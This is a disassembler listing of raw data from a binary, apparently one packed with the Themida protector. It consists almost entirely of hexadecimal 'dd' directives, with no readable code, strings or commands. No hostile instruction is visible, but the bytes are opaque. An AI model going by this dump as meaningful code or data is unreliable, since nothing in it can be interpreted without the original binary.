		dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
		dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
		dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
		dd 1E80097h, 3D94E7A6h,	37318332h, 0DDE93EF5h, 68000012h
		dd 60D9BD4h, 0F9E372E9h, 9CE868FFh, 68E9060Dh, 68FFF9E3h
		dd 60D9DB0h, 0F9E35EE9h, 9EE068FFh, 54E9060Dh, 68FFF9E3h
		dd 60D9F64h, 0F9E34AE9h, 0A00068FFh, 40E9060Dh,	68FFF9E3h
		dd 60DA0A2h, 0F9E336E9h, 0A15D68FFh, 2CE9060Dh,	68FFF9E3h
		dd 60DA201h, 0F9E322E9h, 0A39368FFh, 18E9060Dh,	68FFF9E3h
		dd 60DA46Fh, 0F9E30EE9h, 0A5D468FFh, 4E9060Dh, 68FFF9E3h
		dd 60DA6E6h, 0F9E2FAE9h, 0A8E168FFh, 0F0E9060Dh, 68FFF9E2h
		dd 60DA9CEh, 0F9E2E6E9h, 0C85D8EFFh, 0C5608C33h, 0C05B8930h
		dd 0BC55842Bh, 0B44D8027h, 0B16C841Fh, 0A74EE37Eh, 9F46DB7Ah
		dd 9E45DA6Dh, 7542D76Eh, 58A81907h, 0DCF34396h,	0BF301ECEh
		dd 0A439658h, 2C814D37h, 50D369FCh, 0F0FF2D57h,	1B341ED3h
		dd 3CD16494h, 5DF3EB73h, 0E70F7FDAh, 0E5CFB647h, 0DA45EFDDh
		dd 2D0047A2h, 0A94DBA86h, 6391439Ch, 6E9A21C8h,	7DB828CFh
		dd 0EACD73B3h, 53B9A5Ch, 3AA11FB6h, 5000000h, 0F48A820Ah
		dd 8754C144h, 235EEBB6h, 2971F339h, 0C99C47A2h,	0C05D8A33h
		dd 7D968019h, 9C0944B1h, 808E7143h, 0B6A9973Eh,	0DF451Fh
		dd 0C46D0000h, 0BD56FD98h, 7F69FC2Eh, 4F7C25B3h, 8C760FB6h
		dd 15BC5B8Bh, 23CA5B8Eh, 0F6E46C9Ch, 49A3F285h,	49DC0FD0h
		dd 0EE7107A8h, 12A0146h, 0A98A453Bh, 59EA5BC4h,	9A213A24h
		dd 4A36CB6Ah, 49A35C94h, 0C85DF828h, 0AF56F121h, 0F0867E06h
		dd 0D0679740h, 60A69029h, 47A26C26h, 9059EEC1h,	0CA7A1008h
		dd 0AA45711Ah, 9C3B65D6h, 0F3DDB043h, 949E00ADh, 62F8CB41h
		dd 56EB86B9h, 13E97CAFh, 0F07E2DEEh, 5064E514h,	58000010h
		dd 52F98E27h, 4BF28726h, 46ED821Dh, 42E97E17h, 46E1760Fh
		dd 0A540732Eh, 0A13C6910h, 0A033650Ch, 0A134640Bh, 0E3D13F0Ch
		dd 43965772h, 2CD4A6BDh, 2CD368F9h, 0E94C7BFCh,	859BB22Bh
		dd 47E8899Dh, 0CD362EB1h, 0C1EF4D9Ah, 7222D0D7h, 0A3EA1384h
		dd 0A18B5E49h, 8A820AD5h, 18406F4h, 0E7AF47A3h,	9CE188F9h
		dd 5F00D343h, 0E17FECB8h, 0C9AC439Ch, 0D15C797Fh, 0C16A1FB5h
		dd 0BE4CF38Eh, 9CD55FD0h, 36D7AA43h, 0D541B2A0h, 0B98C439Ch
		dd 0D5DBCFh, 2C3F0000h,	0B24D7BFCh, 0BD58840Bh,	3BDC7D16h
		dd 47DA0D94h, 52D908B1h, 58E78825h, 4FE88F2Ah, 0CA804C65h
		dd 5749A3EEh, 3CE382AEh, 965930DBh, 58F91B3Dh, 0AA3D6D6Eh
		dd 0DF3E6E15h, 4F572FF7h, 7F26C7CAh, 0C0564ED6h, 0A2D098D2h
		dd 0CA603347h, 9FBB2C1Ah, 3306439Ch, 0F1794249h, 6D7563F9h
		dd 0A4419504h, 0DB8B3BD1h, 92F47CEDh, 0AF4C73Dh, 0A63BD609h
		dd 6339CCFFh, 0F07FB644h, 3CCE4F7Eh, 4400000Fh,	46ED8213h
		dd 3FE67B1Ah, 3AE17611h, 36DD720Bh, 42DD7203h, 0A93C6F2Ah
		dd 0A5406D14h, 9C376910h, 95306007h, 0D7C53300h, 43965666h
		dd 2CC89AB1h, 25D368F9h, 0F2168775h, 0A06149A3h, 9730D772h
		dd 0DB0B0CF6h, 0CFFDA63Ch, 0AF48D34h, 7DAC5503h, 2C2EFAE4h
		dd 34C269FCh, 0F2BA88B1h, 5EF153Fh, 2653D404h, 2DCE6999h
		dd 0B74CED86h, 0AB7FE210h, 4A69AB12h, 0D65D04A5h, 57F221A6h
		dd 6F8C21B6h, 0C35951D9h, 0A2D62BD5h
		db 47h
byte_5A6531	db 0E6h, 25h, 0F3h	; DATA XREF: Themida_:0054CA5Ao
		dd 2C38BF60h, 0B216B4BEh, 0CA6058E0h, 11A41ADCh, 4BF2C54Ah
		dd 4BE614BDh, 0BEB63E61h, 0B3C53A28h, 0DE04405h, 199ECE77h
		dd 18AD4EE9h, 0D0A64171h, 0F5CD9745h, 741596C5h, 7C00000Eh
		dd 7E25BA4Bh, 771EB352h, 7219AE49h, 6E15AA43h, 7A15AA3Bh
		dd 0E174A762h, 0DD78A54Ch, 0D46FA148h, 0CD68983Fh, 0FFD6B38h
		dd 4396559Eh, 2C00D2E9h, 34C269FCh, 0D4BE598Bh,	9B3129B1h
		dd 760F42EBh, 64C36CFh,	47A2F258h, 0F2BB5023h, 0EEDC726Ah
		dd 419BEA6Ch, 511DC497h, 3D95EAE4h, 2FE02E11h, 15BC5986h
		dd 9C39927Ch, 3E25BCC8h, 4Dh, 9C820AA2h, 9C32D36Eh, 0A336DAAEh
		dd 881EF147h, 0A64D7305h, 9CBB47B8h, 56BF9243h,	0A30C30A4h
		dd 99C27994h, 0D3DBC5FDh, 0BF97A023h, 3DA111BFh, 3CE382AEh
		dd 86B8B9A3h, 0FF6A56EBh, 3F439C21h, 3CE3780Fh,	4FD0770Ah
		dd 0DB7h, 8A820AC5h, 0A69444F4h, 49A3F235h, 7DC3AD80h
		dd 479888BDh, 52FB9164h, 47EE8322h, 4BD98017h, 2518AC8h
		dd 735DD7B1h, 3AD0C850h, 8B7D374Ch, 2E41C441h, 0A84298AFh
		dd 3B0E08F2h, 39CCFCA5h, 3ACDFDA4h, 6A62EA93h, 1838E6D4h
		dd 45F53B88h, 8216E657h, 745E3137h, 53C4B27Ah, 9E378216h
		dd 6E15B0DDh, 0BD9334D5h, 0EE4E9452h, 44F071A0h, 4C00000Dh
		dd 4EF58A1Bh, 47EE8322h, 42E97E19h, 3EE57A13h, 4AE57A0Bh
		dd 0B1447732h, 0AD48751Ch, 0A43F7118h, 9D38680Fh, 0DFCD3B08h
		dd 4396546Eh, 0E7D0A2B9h, 49A3F27Ah, 861C149Ch,	98894B98h
		dd 0AD850847h, 3409D6Dh, 330600EAh, 3CC4F49Dh, 20C76693h
		dd 8042B387h, 0F28D4396h, 23E02578h, 29CA6B39h,	2ABDED94h
		dd 9252DA83h, 0AC735AD3h, 2BC162AFh, 95518F3Dh,	0B1875A41h
		dd 0F07BE970h, 0C01A9BCAh, 0C800000Ch, 0C269FE97h, 0BB62F796h
		dd 0B65DF28Dh, 0B259EE87h, 0B651E67Fh, 15B0E39Eh, 11ACD980h
		dd 10A3D57Ch, 11A4D47Bh, 5341AF7Ch, 439653E2h, 2C44162Dh
		dd 3BC269FCh, 2DD66C0Bh, 647D67FAh, 0D81E2881h,	19AEBBFDh
		dd 6B5DFh, 820A4300h, 0D15545C2h, 0E15F07F7h, 9CC42DA9h
		dd 0BD53F4ECh, 983985CFh, 0D76D4047h, 0D267FE2Eh, 7F5FA124h
		dd 91F305E7h, 0F176A6A7h, 0DB8223BEh, 9692A20Fh, 443CC443h
		dd 9212C0AEh, 42DD4195h, 2114ADB4h, 0A27819E5h,	0F07B576Dh
		dd 2425A6D5h, 2C00000Ch, 2ED56AFBh, 27CE6302h, 22C95EF9h
		dd 1EC55AF3h, 2AC55AEBh, 91245712h, 8D2855FCh, 841F51F8h
		dd 7D1848EFh, 0BFAD1BE8h, 4396524Eh, 2CB08299h,	847DA1FCh
		dd 266BA4DDh, 157EB792h, 0B92220F8h, 465A0EF0h,	8229CAF8h
		dd 852CCBFBh, 0F9FF49A2h, 19AF1CDCh, 781341EAh,	6049A8Eh
		dd 0E7FE0000h, 49A3F27Ah, 861C149Ch, 98888E98h,	60F6C947h
		dd 3DD807B0h, 1213FD96h, 8E2955E2h, 58990AF8h, 11E44396h
		dd 434DB70h, 9921CA71h,	6F1D0BA1h, 3A419558h, 0D22C9167h
		dd 0AFDEF07Bh, 0B822Eh,	0BC598A00h, 0B9548027h,	0B44F7D24h
		dd 0B049781Fh, 0B041741Bh, 0AD68801Bh, 0AB52E77Ah, 0A34ADF7Eh
		dd 9A41D671h, 6936CB6Ah, 529C0DFBh, 0D0E74396h,	74FC2CFEh
		dd 0A3F21586h, 0EC8D6049h, 0EA7DAD56h, 0A7C0AA43h, 3567F020h
		dd 0C162FBA2h, 50DE371Ah, 0AEBC478Eh, 5689519h,	0AF90000h
		dd 6F48A82h, 4798895Bh,	99346122h, 0F6F059F2h, 508D561Dh
		dd 29D26809h, 1BC95EF9h, 3AA4372h, 4F7F806Ah, 0E1149BCAh
		dd 6F10A950h, 0E78E2FC8h, 4ABBA959h, 954396EDh,	2592D8C2h
		dd 474396EDh, 8131C7BFh, 8312ABD8h, 750EB550h, 0ED97458Bh
		dd 8F624195h, 7B4D6EB9h, 0DC5D8CF0h, 0AC7h, 72079ECFh
		dd 6B009FCBh, 66FB96C4h, 60F590BFh, 56EB86B9h, 0B5E8A3BBh
		dd 0B3E0871Ch, 0ACDE851Ah, 0ADDD8419h, 4AB8851Ah, 9650EB5Ch
		dd 4D1F3643h, 0C269FC2Ch, 0D66C0B3Bh, 0D665002Dh, 0A230DA8h
		dd 0C39E2127h, 0ED583DEh, 0FA449F89h, 0AF23E1F4h, 0F3EE719h
		dd 0AB988C76h, 0FC000004h, 0A3F275E7h, 170F9749h, 0FC28D181h
		dd 9221BA61h, 831CC362h, 897B5399h, 0BF924798h,	0B5508029h
		dd 0AE497920h, 0A6416F18h, 72FAA3BCh, 0B3BE47Ah, 422CC56Ch
		dd 6FFA4C3Ah, 0F2C54195h, 7BFBC51Ch, 4DCEFDF0h,	0A23h
		dd 0C65BFA2Bh, 0BF54F31Fh, 0BA4FEA18h, 0B449E413h, 0B247DA0Dh
		dd 1144FF17h, 1744EB80h, 1042E97Eh, 939E075h, 9E0CD96Eh
		dd 96503FB0h, 0A1738A43h, 86A1FC2Ch, 85A4D0E4h,	0B5507D0Ch
		dd 0E6FB7E14h, 798C60ADh, 1F907E14h, 6A49A326h,	0D94AD97h
		dd 4B44ADDh, 3FC25781h,	1AEE79A0h, 49A306A9h, 609221F4h
		dd 11C2DBC5h, 9078FBABh, 0BD63F89Eh, 3BC6370Bh,	3E1149A3h
		dd 3EE580AFh, 0D660BBA5h, 89D3868h, 7861D75Ah, 214EF905h
		dd 6FF7DE37h, 42E519AFh, 49000001h, 0D369FC2Ch,	735DF82Ah
		dd 4A3D35Ah, 261EA66Fh,	7F8A290h, 0E0B347A3h, 0D7006D39h
		dd 4A2D439Ch, 0D6DBFAFCh, 44ED1FB5h, 0A0947E17h, 5Ch, 9C820A04h
		dd 0AA31D869h, 0A43ADB7Ah, 0A3F245B6h, 1CBD9049h, 0E2B60386h
		dd 0A7A377A0h, 45C7B5BDh, 7047A265h, 325E079Dh,	3D483CBh
		dd 832409FAh, 405943DCh, 9C770774h, 801F4B43h, 861F52D9h
		dd 0AB752EDFh, 54E2C56Bh, 0B63B4392h, 3402851Fh, 93D8140Eh
		dd 0A8625640h, 0C6000000h, 9ECC7525h, 0EFC35C03h, 49A3F27Eh
		dd 0B0CF6C9h, 0E953CDBh, 15A34ADBh, 3BDF1B92h, 634D0E21h
		dd 76A53262h, 7EAD34DBh, 2A33CE3h, 333BA61h, 7DE3CF64h
		dd 0B149A360h, 32CBF881h, 0BB51F28Bh, 50AC1D0Bh, 24F749A3h
		dd 0E26A333Ah, 8E35D0FCh, 0D0BE54F5h, 479BB546h, 6F18AE81h
		dd 6D14A93Ch, 82D1A73Ah, 78FA6504h, 891C849h, 68990000h
		dd 659138CDh, 608E35CAh, 5A8930C5h, 50832ABFh, 6D8520B5h
		dd 51E67FB2h, 4BE07DAAh, 4ADF72A4h, 3FD473A3h, 0A5160472h
		dd 0F043964Fh, 0F92C07D9h, 0FC2CD368h, 2C62D469h, 3BC269FCh
		dd 36D76C0Bh, 28Ah, 8A820AACh, 57006F4h, 4A0B47A3h, 2B9C8A1Eh
		dd 76439CD4h, 0BA6102A3h, 9CD481EEh, 751EAE43h,	6D06AD48h
		dd 0D81E2883h, 1FB5DDFDh, 224DFh, 77E74300h, 9549A3F2h
		dd 917F150Dh, 4798887Fh, 0B861F7CAh, 3ACDFF88h,	0C359FA93h
		dd 0A4282440h, 0AA94747Ch, 44CCFCA3h, 9625E556h, 0BC5D3043h
		dd 0B34E7D26h, 450A730Ch, 79694109h, 0DB6CFB9h,	9F78D85h
		dd 4195FCB7h, 0A74BF174h, 0CF363F2Bh, 8855C866h, 1903744Bh
		dd 0CF764C1Fh, 0ABF07B98h, 7B5FB7Ch, 8CBD0000h,	91BD64F9h
		dd 8CBA61F6h, 86B55CF1h, 7CAF56EBh, 0A1B954E9h,	8D22B3E6h
		dd 871CB9E6h, 7E13AEE0h, 7B10A7D7h, 0E15240AEh,	2C43964Eh
		dd 0FC2C4315h, 0B3BC269h, 5B14C56Ch, 943363CDh,	0BFD500FFh
		dd 760719AEh, 6B000001h, 8674FC2Ch, 49A3F215h, 56EC8D60h
		dd 9708F6A6h, 0E249A3F2h, 0F2CA3B0Fh, 421549A3h, 88B83F58h
		dd 0FAAA58EDh, 0A3F29B0Ch, 2A4BE649h, 0E7779C1Fh, 3C6FFE9Fh
		dd 149CBFA9h, 2DD6861Ch, 28C168FBh, 0B84EF83Eh,	360947A2h
		dd 8756C38Fh, 0F383439Ch, 48FD6070h, 4F396BD9h,	31A42AF4h
		dd 0AB1FB6A1h, 39h, 8A820A0Fh, 0A69444F4h, 49A3F235h, 7DC3AD80h
		dd 47A300FBh, 9E396526h, 92BE67FDh, 0DF558AF3h,	0F10841F1h
		dd 0B522EE07h, 0E2439C78h, 26AF31FFh, 0B41FB63Ah, 0B8h
		dd 69FC2C18h, 6D083BC2h, 6AFB2ED7h, 0B0E06780h,	0A4D67F15h
		dd 0B6E36A11h, 36D77017h, 7CAC334Ch
		dd 0FDA654E9h, 0A503ACDh, 49A440B4h, 833D3EC1h,	0F6E92CA1h
		dd 74DB0B0Ch, 3AFB5F8Bh, 0BE8BF47Bh, 7205C8F3h,	4E17AC4Dh
		dd 9EC006C6h, 5AF3EAD0h, 0AB3523B9h, 0E6479C16h, 0A1D47D13h
		dd 3F6CF322h, 0C55E05A6h, 0B5E88F24h, 0FA63022Eh, 0ACECD37Ch
		dd 5D33D43Fh, 0FA66E8E2h, 5020A1D0h, 58000006h,	52F98E27h
		dd 4BF28726h, 46ED821Dh, 42E97E17h, 46E1760Fh, 0A540732Eh
		dd 0A13C6910h, 0A033650Ch, 0A134640Bh, 0E3D13F0Ch, 43964D72h
		dd 2CD4A6BDh, 2CD368F9h, 62D469FCh, 0C269FC2Ch,	60A40B3Bh
		dd 0ECC8F02Eh, 1A7CEAB0h, 94976AB1h, 3BBD5EF3h,	0F7000000h
		dd 0A08A1B4Eh, 0A1FC2CD4h, 14495401h, 1D4276B2h, 0E6E52A26h
		dd 76FDA445h, 5BCCBA46h, 9F49A393h, 932CD372h, 197380Bh
		dd 0A28C2558h, 0E432C589h, 0D66B0A3Ah, 1235h, 0FC2CAB00h
		dd 88F6C269h, 0E249A3F2h, 81B19FA9h, 2CDF51E6h,	2AD369FCh
		dd 0B7C6AFEh, 5649A3F2h, 2553E283h, 0DE87A08Ah,	0DAC85E56h
		dd 4798891Ah, 0AF58EEC1h, 0AC53E87Fh, 9942E97Ch, 95831911h
		dd 418AEF80h, 9B2481Bh,	2A93ED9h, 0F49D33D2h, 0F18A31C4h
		dd 0DD60EE07h, 59CDC40Dh, 0B4D7C16Fh, 0EE9E342Ch, 957F1245h
		dd 8760A14Fh, 0C0AE5E3Bh, 3781604Fh, 0E3DDC79Ah, 0DB3F3A10h
		dd 94C3EE4Dh, 53E13h, 80154600h, 7D1844EBh, 781341E8h
		dd 740D3CE3h, 6C0538DFh, 69243CD7h, 5F069B36h, 57FE9332h
		dd 56FD9225h, 2DFA8F26h, 4C60D1BFh, 94AB4396h, 69FC2CC2h
		dd 6AFD2DD4h, 790C3CC3h, 6B0A3AE3h, 0FEB76881h,	47CFF30h
		dd 4430848Ah, 0CDFDFEE8h, 2FA6A53Ah, 0AD19AF79h, 6Dh, 95820A11h
		dd 9DFCB912h, 0BC901786h, 49A3854Bh, 8C22C396h,	0CD3E2CDCh
		dd 1149A385h, 26C149E4h, 63E520Ah, 0C7B15253h, 0A28EAD81h
		dd 0D103C447h, 67F68F36h, 5EF79E39h, 4C7E27BDh,	0CD3824B9h
		dd 6439BFEh, 0FDF76856h, 7A42439Bh, 9BFE1B8Ch, 0F2936643h
		dd 40D70708h, 51D204ABh, 49E28924h, 0CA7301A8h,	1813FD98h
		dd 477h, 4E7C258Eh, 89730CB3h, 9CCF5888h, 0A54CEB1Bh, 2BC46B0Ch
		dd 1B4BF48Ah, 204ED57Ch, 0E1FAE485h, 0F68B2A5Ah, 17ADA52Dh
		dd 0C0AA3B6Eh, 820CAB8h, 8DB47A3h, 0FB2AD361h, 0C5327862h
		dd 9439CD7h, 129940DBh,	31280E5h, 8878C87Ah, 0C89940E7h
		dd 6ADBC97Eh, 0B5439CF0h, 0B89B41E2h, 0BE6D686Eh, 0B25B1FB5h
		dd 5F9E382h, 3Dh, 9C820A69h, 0A137D869h, 0A30131B3h, 0F3895C47h
		dd 33B6174Ah, 97F49398h, 869F892Ah, 881F4FF8h, 185E48E1h
		dd 439CE1ABh, 0A52BF5D8h, 1FB5D130h, 26C1ED96h,	8FCE67Fh
		dd 0DBh, 69FC2C6Ch, 6D083BC2h, 780F3FC6h, 7B1A4AD1h, 5F8F38E6h
		dd 9E8821C8h, 0A3EEA258h, 7A063649h, 0A3EE1B8Ch, 94335F49h
		dd 0F9CC54EDh, 0EC1CC358h, 0FD9E396Bh, 2A18C856h, 49A3EEB9h
		dd 0DD917923h, 3EC6FE5Ch, 0D65E816Bh, 709F48DEh, 0F5E3EBD5h
		dd 47A25D07h, 2B9C8A52h, 76439C4Dh, 0E96C02A3h,	6A931F33h
		dd 0E3EAD4B6h, 49A921Ah, 94C58616h, 64FACD41h, 3ED88BBh
		dd 861F52FBh, 7E174AF1h, 7E7483A8h, 870837F0h, 343h, 0E67B1A4Bh
		dd 0DF74133Fh, 0DA6F0A38h, 0D4690433h, 0D267FA2Dh, 31641F37h
		dd 37640BA0h, 3062099Eh, 29590095h, 0BE2CF98Eh,	964A5FD0h
		dd 0C193AA43h, 0D368F92Ch, 16877525h, 6149A3F2h, 73A3A48Eh
		dd 62953ED4h, 8F28CFh, 0F48D34CDh, 0A91030Ah, 6F48A82h
		dd 47A30184h, 689A14AFh, 704DF8BAh, 329525B5h, 9A3BDC7Dh
		dd 2ABA27F3h, 4E7439Ch,	8821B43Ah, 0EBBB1FB6h, 0E3000000h
		dd 2ED44533h, 4C1F439Ch, 0FC2C9662h, 83BC269h, 44FAC66Dh
		dd 0D849A3EFh, 0D1780DA8h, 0D15F06A1h, 7A68F828h, 49A3EE09h
		dd 0F6E08154h, 0BD534BD3h, 0A2CEE1CFh, 0C4592C47h, 0E57B73FBh
		dd 952452F7h, 0D87CFF41h, 2B72B860h, 0AD1E0CA2h, 0F83D934Dh
		dd 6E413B25h, 69FC2FD8h, 0BBA326D4h, 66BF9BA0h,	5184856Fh
		dd 8953EAC0h, 305FF07Fh, 256AFh, 982D5E00h, 95305C03h
		dd 902B5900h, 8C2554FBh, 841D50F7h, 813C54EFh, 771EB34Eh
		dd 6F16AB4Ah, 6E15AA3Dh, 4512A73Eh, 4978E9D7h, 0ACC34396h
		dd 497C25DAh, 60019CCAh, 9C8A20B9h, 49A3F22Bh, 0B8B9A376h
		dd 9809F785h, 0E349A3F2h, 0B859F422h, 0A5D88117h, 0E9D7650Ch
		dd 49A3F278h, 0B94FF0C3h, 0A3F25ACBh, 0E8D2A549h, 0CAB033E1h
		dd 7BDB32BFh, 0E8181903h, 0F8992C5Fh, 0FC2CF163h, 8B34C269h
		dd 8C22F85Fh, 0C4198C8Ah, 0F9E37C23h, 982DC8F8h, 9026C1F1h
		dd 0BDCD830Dh, 0B750F78Ah, 4895E04Eh, 7ADBD4DFh, 0B49E7D72h
		dd 726AF29Bh, 660133DCh, 1BC4747Ch, 1C624CEBh, 47A1E8BEh
		dd 46F16E9h, 93C36DBBh,	0D841D406h, 7AC6A226h, 0A035D61Bh
		dd 7F1A49F2h, 82B03FD8h, 0BDA740E7h, 2C129Ah, 402EC465h
		dd 419A779Ah, 54DB8255h, 63EA9124h, 6AF19837h, 52F9A03Dh
		dd 5C89B781h, 0E0811AC1h, 67B78114h, 0A151E7DFh, 4630C9F8h
		dd 934D5A00h, 2C5E073Bh, 3BDA0A99h, 1711FB94h, 0D808AF44h
		dd 0B024A73Dh, 57CDA04Fh, 0CB526B55h, 0EC57FE99h, 0F4A495A3h
		dd 0A97D184Bh, 378D6938h, 0C5C6B083h, 0C36C0295h, 0A2130191h
		dd 0ED378D69h, 39D2791Ah, 179A484Fh, 2C6B80FBh,	557862E7h
		dd 0E3910DCDh, 6B49C3F1h, 0E84634CAh, 5358C91h,	79A7305Ch
		dd 0FD9E37DEh, 0D9D3BD56h, 95C77006h, 78FF1802h, 6717AD48h
		dd 86910879h, 66925331h, 0A29026C7h, 31869131h,	0A6BFA97Ch
		dd 0D824F23Bh, 2AD49050h, 0B0628874h, 0DBC9790Fh, 3186576Ah
		dd 43EA7BAEh, 356122AAh, 70FF99Ah, 8531BB19h, 7D13E62Fh
		dd 0BB1FCBFAh, 0F6E046AEh, 0ABE41EFh, 9D878EE4h, 1AA2C5AFh
		dd 59DC8C22h, 0D7C58778h, 2B7EFA66h, 9475DEB1h,	8ED4BEA2h
		dd 2973ADD6h, 81049A6Dh, 68CA3FC0h, 0B81CE030h,	26491B84h
		dd 34C2DBC5h, 1FFBB7B1h, 7C51620Dh, 0DE3DA62Ch,	0AF2E4056h
		dd 0A1BD75AEh, 0E5151600h, 0E616BD52h, 0BCDCA84Fh, 1F5CD8D1h
		dd 6494828Ch, 65953CD1h, 75A42BD2h, 0A2C346DCh,	6121241Bh
		dd 8BF60FF9h, 1A4AF442h, 0F3FE67Bh, 0C50D178h, 0C6000000h
		dd 34BD405Eh, 0AFA296DFh, 2CD8A48Eh, 3CC36AFBh,	4BD2790Ch
		dd 50D77E19h, 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h
		dd 830AB14Ch, 6711B857h, 1FDD68h, 24048900h, 405E089h
		dd 83000000h, 48704E8h,	89525C24h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 2414895Ch, 225568h,	24048900h, 0D9A9E68h
		dd 24148B06h, 8304C483h, 248904ECh, 24048124h, 4, 8B95158h
		dd 1000000h, 0BB53C1h, 1000000h, 5B1389CBh, 24048B59h
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h, 89522414h
		dd 4C281E2h, 83000000h,	148704C2h, 0ACE95C24h, 0EFFFF9D0h
		dd 0B28A1FC4h, 7E78CE0Fh, 0CF8663F2h, 0DAC49B8h, 0FFC50306h
		dd 0D1B682E0h, 41601F11h, 8BCEF874h, 0F0CAEB17h, 0B443593Fh
		dd 1159FD34h, 0CF13037Eh, 31741660h, 82C8737Fh,	98BE0C20h
		dd 41568B27h, 2501FB63h, 0C6E2405h, 35C0E507h, 0AD8E4657h
		dd 9B89C270h, 2B92AD44h, 589FBF3Ah, 0AC293F24h,	0DF55C31Bh
		dd 51C4660Dh, 5A379C41h, 7D39B479h, 3A588D09h, 9964A428h
		dd 0D413B61Fh, 0C943D86Fh, 913CFD51h, 6DDCCC44h, 8ABBA62Dh
		dd 11E81Ch, 0C4390000h,	236A52B1h, 6EDA5061h
		dd 0DC299A3Ah, 0F9201A8h, 683h,	73D98100h, 5A7F9F01h, 0C281C68Bh
		dd 6B12h, 0FF33F38Bh, 34FFCDB0h, 1880F17h, 0FC000000h
		dd 4810F5Bh, 56000000h,	815E6160h, 9395F7F3h, 0CE80Dh
		dd 96510000h, 0C85B2117h, 7AA52882h, 0F580D8C6h, 0EB81585Ch
		dd 6BCE70CEh, 0FE9h, 0D172200h,	71F845C4h, 771DA55h, 0CF3457DBh
		dd 9370C381h, 0CE812488h, 23D59D30h, 3850F53h, 60000000h
		dd 48F61F8h, 8158533Ah,	66241DEFh, 19C7813Ch, 813C6624h
		dd 0FF95A4FFh, 83850FFFh, 50FFFFFFh, 0AE9h, 85E1BC00h
		dd 2CF424DCh, 5918B909h, 0AEEE8D8Dh, 0F080060Dh, 8DD3816Bh
		dd 8929AE9Bh, 71AD98Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E9D688C0h, 0Ch, 0FE752945h
		dd 961F40BBh, 0FFFBD4C5h, 1E41B589h, 8B660607h,	1D85C7D6h
		dd 0FC060710h, 6A000062h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0C1EEC355h,	0DB58B57h
		dd 5806070Eh, 330585C7h, 607h, 8D0F0000h, 4, 837ABE66h
		dd 469B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0FFE832C3h, 43D59978h, 5995FF47h
		dd 66060718h, 6AF88Bh, 0D6995FFh, 0C08B0607h, 74CE48EBh
		dd 4E0BD00Fh, 12B68E4Dh, 0CF60E681h, 60BAD6D2h,	95032A53h
		dd 0F63DD78Ch, 3CDB9E6Eh, 7BD98F3Ch, 0A1D7905Ch, 82008065h
		dd 4D9AA630h, 0F37AE022h, 0DD3B2E6h, 723A1628h,	9DCABB38h
		dd 0DBA38E90h, 3250583h, 5E8C2BEh, 74000000h, 51086A49h
		dd 23119589h, 0E95B0607h, 7, 0E29EB7B2h, 81583849h, 683EC3h
		dd 68C68B00h, 0
		dd 8589F960h, 6073261h,	8B665E61h, 1E34FFCFh, 5D958960h
		dd 0E9060718h, 0Dh, 0E9A78D09h,	924586C9h, 0ED3E55BDh
		dd 0E95A617Bh, 0Fh, 8CC636CBh, 18EAC0DEh, 0C76BE4B7h, 81C53638h
		dd 311948F2h, 59850108h, 8106070Ah, 60E7F6C2h, 66605276h
		dd 8D89F28Bh, 6070C71h,	0C2815F61h, 2C6AD883h, 52C38B66h
		dd 0EEDBD8Bh, 48F0607h,	75BD0333h, 0F9060706h, 6604EE83h
		dd 0FE81FA8Bh, 0FFFF9870h, 0FF83850Fh, 0BF0FFFFFh, 8EBCFh
		dd 2E000000h, 0E95CCF0Ch, 532h,	0DB10968h, 0CD79E906h
		dd 8268FFF9h, 0E9060DB1h, 0FFF9CD6Fh, 0DB32B68h, 0CD65E906h
		dd 0DC0DFFF9h, 0E10DB449h, 0DC0AB146h, 0D605AC41h, 0CCFFA63Bh
		dd 0F109A439h, 0DD720336h, 0D76C0936h, 0CE63FE30h, 0CB60F727h
		dd 31A290FEh, 7C439642h, 0F92C9365h, 0A3AC168h,	850DD66Bh
		dd 0D309F78Dh, 6047A2F7h, 0C8299DDh, 9BF8AD1Eh,	0BC25F843h
		dd 1D0B73D8h, 439CE9ACh, 998324F7h, 5925CC9Fh, 439CE8ECh
		dd 0BD64FD30h, 0C46B0A36h, 0F0F1954h, 0FD30D969h, 0BA6D564h
		dd 86E1CB64h, 0CA0487B8h, 0D842CA14h, 8A4BA48Eh, 501FB609h
		dd 344h, 7EC03EB4h, 7A68FEF6h, 47A2F8D0h, 0FA2D47Dh, 0D1582B25h
		dd 7A028FC5h, 937901B8h, 861FC661h, 87614FE5h, 0A244367Bh
		dd 0F77F28CFh, 2F7B69FFh, 0E83E2F72h, 8B75103Fh, 7F28BE91h
		dd 7523B84Fh, 5F069FCCh, 0ABDBDCC6h, 0FFB68F44h, 0E38489DAh
		dd 15A5ED0Dh, 65E615F3h, 34Bh, 0BE53F223h, 0B74CEB17h
		dd 0B247E210h, 0AC41DC0Bh, 0AA3FD205h, 93CF70Fh, 0F3CE378h
		dd 83AE176h, 131D86Dh, 9604D166h, 964137A8h, 996B8243h
		dd 0B94C7C25h, 0B75EF72Ah, 8911341Eh, 47D671A3h, 3DD67D18h
		dd 0AD56069Ch, 0B8FEE87Bh, 479852F7h, 8939CFA2h, 427AEBD9h
		dd 0F2C54396h, 41D40708h, 3FD205ACh, 0F314CC98h, 74A4B9FCh
		dd 0EEE50BE1h, 0EE1DFA62h, 2D26Dh, 0DC79AA00h, 0D974A047h
		dd 0D46F9D44h, 0D069983Fh, 0D061943Bh, 0CD88A03Bh, 0CB72079Ah
		dd 0C36AFF9Eh, 0BA61F691h, 8956EB8Ah, 41BC2D1Bh, 0F0074396h
		dd 8A820A1Eh, 0E55644F4h, 2249A3F1h, 0A3F1C334h, 0B33B0E49h
		dd 3EEEF6E0h, 6F68F7BBh, 0E4D2039Fh, 49A37673h,	604AEBBEh
		dd 97D7591Ah, 8A310447h, 95C651BEh, 0CF629543h,	0D671A128h
		dd 0AD7BC42Fh, 5EE8CB71h, 0BCE83D98h, 1F29F1Fh,	17C70000h
